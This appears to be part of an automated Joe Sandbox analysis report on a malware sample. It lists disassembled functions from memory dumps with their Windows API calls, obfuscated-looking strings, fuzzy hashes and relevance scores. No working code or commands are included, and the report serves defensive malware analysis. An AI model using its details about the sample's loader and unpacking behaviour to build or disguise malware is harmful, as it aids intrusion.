Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Function 022616FC Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157499266.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 536c7817aaf4d629e5ba6e9971a40d78023f5f2692ecef6e6c2f3f510559184e
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 3631AE3A826286DFDB16CEB0D895AF5B770FF47224F1886DCC0898B20AD3257097C794

Function 023070E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Function 02307393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: 69e12e6150ba1dcab72956c49ef8a9429f3ad7bb7a398cdaf0d9481c5f9aedf6
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 38310330618345AFD751EF29C4C0A4BF7E5FFC8258F01DA59F98897261D730E9858A62

Function 023218D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 7b7c29c5171b07f210022bfe25381e2b52c3ee50bd782bcc505dc4ba87295c3f
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 2D113BB72000A243D654863DD7B46B6D3F5EBC612872C427AD1CA6B65AD323D14D9980

Function 0230B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: ceba6dd699b443aa56a3f81a9cadfab34121629abe8e185d3630220070473ab0
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: 15114F0A8492C4BDCF424A7840E56EBFFA68E3B218F4A71DAC8C44B743D01B150FE7A1

Function 02260083 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157499266.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 9139a0eb1a036ed36a0d35bf0ac57d2ae2eaa04d66906376fc1911b8977b4960
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: AA1170733502009FD754DE95DCC4FA673EAFB99320B1980A5ED04CB356D676E941C760

Function 02300042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 2bf7f3dbc382157d42e87624b548bb40844c803871a30a51c4ca9b9250fd76c1
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: DD118E72340100AFEB58DF65DCE0FA673EAEB89320B198165ED08CB352D676E801CB60

Function 0230A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 790a3f70230d44ed7611f9a1076a90a43bbde6728592d776cef1dd7a4a77de0a
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 210128768107629BD741DF3ED8C045AFBF1BB082117528B2ADC9083A41D334F662DBE8

Function 004027BF Relevance: 38.8, APIs: 2, Strings: 20, Instructions: 271COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,Rorecucohi), ref: 00402F58
GetSystemDirectoryA.KERNEL32(?,00000000), ref: 00402F67

Strings

&::k, xrefs: 00402E95
z$Z?, xrefs: 00402BE6
cl!, xrefs: 00402D45
Efz, xrefs: 00402BF0
'{], xrefs: 00402B3B
|F4*, xrefs: 00402A27
, xrefs: 00402816
i\w, xrefs: 00402AF1
XjdB, xrefs: 00402E4E
sDFZ, xrefs: 00402954
<kr, xrefs: 00402E6D
#Dv, xrefs: 00402990
npCy, xrefs: 00402B27
bcs%, xrefs: 00402EB3
,:hA, xrefs: 00402DBE
4{k, xrefs: 00402E9F
bOon, xrefs: 00402A3B
7!"K, xrefs: 004029D3
Rorecucohi, xrefs: 00402F4E
7?t, xrefs: 00402D2A

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: CreateDirectoryEventSystem
String ID: $#Dv$&::k$'{]$,:hA$4{k$7!"K$7?t$<kr$Efz$Rorecucohi$XjdB$bOon$bcs%$cl!$i\w$npCy$sDFZ$z$Z?$|F4*
API String ID: 3887388515-3230562874
Opcode ID: 2976bdbf4b5d8147e79c999f16b3f81b37a02c87ccc8e2f57af1a2206d9d370d
Instruction ID: c7780564e3169f7370aad695b675c44c32d669f192da4b6a4c8cce201d024ae1
Opcode Fuzzy Hash: 2976bdbf4b5d8147e79c999f16b3f81b37a02c87ccc8e2f57af1a2206d9d370d
Instruction Fuzzy Hash: 0212D9B4C02269CFDB60CF95DA897CDBBB0BB44304F6082DAD0597B214CB755A86CF88

Function 00402FDF Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 61filelibraryCOMMON

Download Yara Rule

APIs

WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00403012
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00403019
WriteConsoleW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040302D
MoveFileW.KERNEL32(Fisoheyoge,Daxuvixeh bewisidagoric nanesemibul lutipa), ref: 0040303D
LoadLibraryA.KERNEL32(Nucexadej vixedejopat legiraxifo), ref: 00403048
SetConsoleWindowInfo.KERNEL32(00000000,00000000,?), ref: 00403054
ReadConsoleA.KERNEL32(00000000,?,00000000,?,00000000), ref: 00403068
AttachConsole.KERNEL32(00000000), ref: 0040306F
GetConsoleTitleW.KERNEL32(00000000,00000000), ref: 00403077

Strings

Daxuvixeh bewisidagoric nanesemibul lutipa, xrefs: 00403033
Fisoheyoge, xrefs: 00403038
Nucexadej vixedejopat legiraxifo, xrefs: 00403043

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: Console$Write$AttachEnvironmentFileFreeInfoLibraryLoadMoveProfileReadSectionStringsTitleWindow
String ID: Daxuvixeh bewisidagoric nanesemibul lutipa$Fisoheyoge$Nucexadej vixedejopat legiraxifo
API String ID: 1752068361-1271755946
Opcode ID: 1f62087bf070b932f20cdac3284239b36339b75c464bbf8863d67b02aea44ab3
Instruction ID: 84954dd9704f0eddf18dad205e2cdd33e7c6fd7e81fa65dd4db4616037c98b11
Opcode Fuzzy Hash: 1f62087bf070b932f20cdac3284239b36339b75c464bbf8863d67b02aea44ab3
Instruction Fuzzy Hash: 0D117372501168ABC311ABA4EE4CDEF3B6CFF46745B000031F646E1564D6785A85CBBD

Function 00406E7F Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,004B6350,0000000C,00406FBA,00000000,00000000,?,?,00405D1C,00403D1E,00000000,?,0040273A,00000000,00000000,00000000), ref: 00406E91
__crt_waiting_on_module_handle.LIBCMT ref: 00406E9C

Part of subcall function 004043E5: Sleep.KERNEL32(000003E8,00000000,?,00406DE2,KERNEL32.DLL,?,00406E2E,?,00406F7D,?,?,00405D1C,00403D1E,00000000,?,0040273A), ref: 004043F1
Part of subcall function 004043E5: GetModuleHandleW.KERNEL32(00403D1E,?,00406DE2,KERNEL32.DLL,?,00406E2E,?,00406F7D,?,?,00405D1C,00403D1E,00000000,?,0040273A,00000000), ref: 004043FA

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00406EC5
GetProcAddress.KERNEL32(:'@,DecodePointer), ref: 00406ED5
__lock.LIBCMT ref: 00406EF7
InterlockedIncrement.KERNEL32(004B7690), ref: 00406F04
__lock.LIBCMT ref: 00406F18
___addlocaleref.LIBCMT ref: 00406F36

Strings

KERNEL32.DLL, xrefs: 00406E8B, 00406E90, 00406E9B
DecodePointer, xrefs: 00406ECD
EncodePointer, xrefs: 00406EB9
:'@, xrefs: 00406ED2

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: :'@$DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-4188468484
Opcode ID: 66e30509d6cff4943cd87d9c590896a5cd98fe37eab3dffaf880b2702b225b63
Instruction ID: c2f613e8ee0131493a1ffc9b7fa825f7e4d7808eca4310a21837c94bb5b2dcbc
Opcode Fuzzy Hash: 66e30509d6cff4943cd87d9c590896a5cd98fe37eab3dffaf880b2702b225b63
Instruction Fuzzy Hash: DB1181719057019BD720AF26D801B5ABBE0AF00314F10853FE59AB32E1CB78AA418B6D

Function 02326437 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0232644E

Part of subcall function 02329636: __calloc_impl.LIBCMT ref: 02329645

__calloc_crt.LIBCMT ref: 02326472
_free.LIBCMT ref: 02326480
__calloc_crt.LIBCMT ref: 0232648E
_free.LIBCMT ref: 0232649E
_free.LIBCMT ref: 023264A4
__copytlocinfo_nolock.LIBCMT ref: 023264B3
__setmbcp_nolock.LIBCMT ref: 023264D4
_free.LIBCMT ref: 023264E2
___removelocaleref.LIBCMT ref: 023264E9
___freetlocinfo.LIBCMT ref: 023264F0
_free.LIBCMT ref: 023264F6

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 4d04e4193d3ae2867de80ab66e099c73c84c4059a763ca1052cacf3a1d6a1527
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7B21C331204630EEEB317F65ED02E1B7BDEDF41B60F608029E5C9554A5EB628A58CF50

Function 02323F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02323F51

Part of subcall function 02325BA8: __getptd_noexit.LIBCMT ref: 02325BA8

__gmtime64_s.LIBCMT ref: 02323FEA
__gmtime64_s.LIBCMT ref: 02324020
__gmtime64_s.LIBCMT ref: 0232403D
__allrem.LIBCMT ref: 02324093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023240AF
__allrem.LIBCMT ref: 023240C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023240E4
__allrem.LIBCMT ref: 023240FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02324119
__invoke_watson.LIBCMT ref: 0232418A

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: df39934c1efdfe439d4b6390038964c4038c666f2a8a28de3dc8e5c5e625b4e9
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 18710971A00736BBE724DE79DC40B6AB7B9BF00724F144279E614E7680E774EA488BD0

Function 0232650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 02326547
__calloc_crt.LIBCMT ref: 02326598
__lock.LIBCMT ref: 023265AE
__copytlocinfo_nolock.LIBCMT ref: 023265BF
_wcscmp.LIBCMT ref: 023265F9
__lock.LIBCMT ref: 02326610
__updatetlocinfoEx_nolock.LIBCMT ref: 02326622
___removelocaleref.LIBCMT ref: 02326628
__updatetlocinfoEx_nolock.LIBCMT ref: 02326647

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: a89b83a3709e5c93414ddfbc2b2377db88e14970bf8ff66fb396cfc66e0d45a2
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 12412432904324AFDB20EFA4DD82B9E7BEEEF44314F20442DEA1496190DB75964CDF61

Function 023284AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 023284B1
_free.LIBCMT ref: 023284E2
_free.LIBCMT ref: 023284F5
_free.LIBCMT ref: 02328513
_free.LIBCMT ref: 02328525
_free.LIBCMT ref: 02328536
_free.LIBCMT ref: 02328541
_free.LIBCMT ref: 02328565
_free.LIBCMT ref: 02328581
_free.LIBCMT ref: 02328597
_free.LIBCMT ref: 023285BF

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 837b4411eaa332a888dbae440fe846f4365b02cf5bf780fc3f29dd1ac32affc0
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 0531C131900674DFCB21AF14FC8088977AEFF14324725866AE948572B0CBF569CDAFA4

Function 0234FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0234FC1F

Part of subcall function 0233169C: std::exception::_Copy_str.LIBCMT ref: 023316B5

__CxxThrowException@8.LIBCMT ref: 0234FC34
std::exception::exception.LIBCMT ref: 0234FC4D
__CxxThrowException@8.LIBCMT ref: 0234FC62
std::regex_error::regex_error.LIBCPMT ref: 0234FC74

Part of subcall function 0234F914: std::exception::exception.LIBCMT ref: 0234F92E

__CxxThrowException@8.LIBCMT ref: 0234FC82
std::exception::exception.LIBCMT ref: 0234FC9B
__CxxThrowException@8.LIBCMT ref: 0234FCB0

Strings

leM, xrefs: 0234FCA8

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: f43fc1865941fd753d7140b3345864147870079a46477a9a22cbb5bee39e8570
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1011C879D0020DBBCF01FFA5D855CEEBBBDAA04344F408566AD5897641EB74A3488F98

Function 0230F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0230F01F

Part of subcall function 02321602: __FF_MSGBANNER.LIBCMT ref: 02321619
Part of subcall function 02321602: __NMSG_WRITE.LIBCMT ref: 02321620

_malloc.LIBCMT ref: 0230F02B
_wprintf.LIBCMT ref: 0230F03E
_free.LIBCMT ref: 0230F044
_free.LIBCMT ref: 0230F065
_malloc.LIBCMT ref: 0230F06D
_sprintf.LIBCMT ref: 0230F0C0
_wprintf.LIBCMT ref: 0230F0D2
_wprintf.LIBCMT ref: 0230F0DC
_free.LIBCMT ref: 0230F0E5

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 82de848df33744feebd65ffdaf7e4bf847234a771fc70b61cd0d0b6a4bed3684
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 141103B29006747AC371A6B55C11FFF7BED9F46702F0800A9FE8CD1180EB599A089BB1

Function 02311960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 023119C6
__CxxThrowException@8.LIBCMT ref: 023119F1
__CxxThrowException@8.LIBCMT ref: 02311A1A
__CxxThrowException@8.LIBCMT ref: 02311A4B
_memset.LIBCMT ref: 02311A6A
__CxxThrowException@8.LIBCMT ref: 02311A90
_malloc.LIBCMT ref: 02311AA0
_memset.LIBCMT ref: 02311AAB
_sprintf.LIBCMT ref: 02311ACE

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 537a21c2d57bdce6c7d175abb47921a432332635c1d29f62593d2f683bb60d0b
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: C0515E71D40219ABDB21DBA5DC86FEFBBB9FF04744F100025FA49F6180E7745A058BA5

Function 0230F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0230F284
__CxxThrowException@8.LIBCMT ref: 0230F2AF
__CxxThrowException@8.LIBCMT ref: 0230F2DE
__CxxThrowException@8.LIBCMT ref: 0230F30F
_memset.LIBCMT ref: 0230F32E
__CxxThrowException@8.LIBCMT ref: 0230F354
_sprintf.LIBCMT ref: 0230F373

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 5401647b95717ee53d2607edacc39d99ab60561b11672bb6c2907375101510ab
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: BE514FB1E40209ABDF21DFA1DC86FEEBB79EB04704F104125F905B61C0DB75AA058BA5

Function 0230F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0230F4B7
__CxxThrowException@8.LIBCMT ref: 0230F4E2
__CxxThrowException@8.LIBCMT ref: 0230F504
__CxxThrowException@8.LIBCMT ref: 0230F535
_memset.LIBCMT ref: 0230F554
__CxxThrowException@8.LIBCMT ref: 0230F57A
_sprintf.LIBCMT ref: 0230F594

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 723db05ae31e14bc4418a458894aa3b6661173fb2573e3fef75eb87eb9bea4a5
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A7514171E40209ABDF21DFA1DC86FEEBBB9FB04704F100129F905B61C0DB746A058BA4

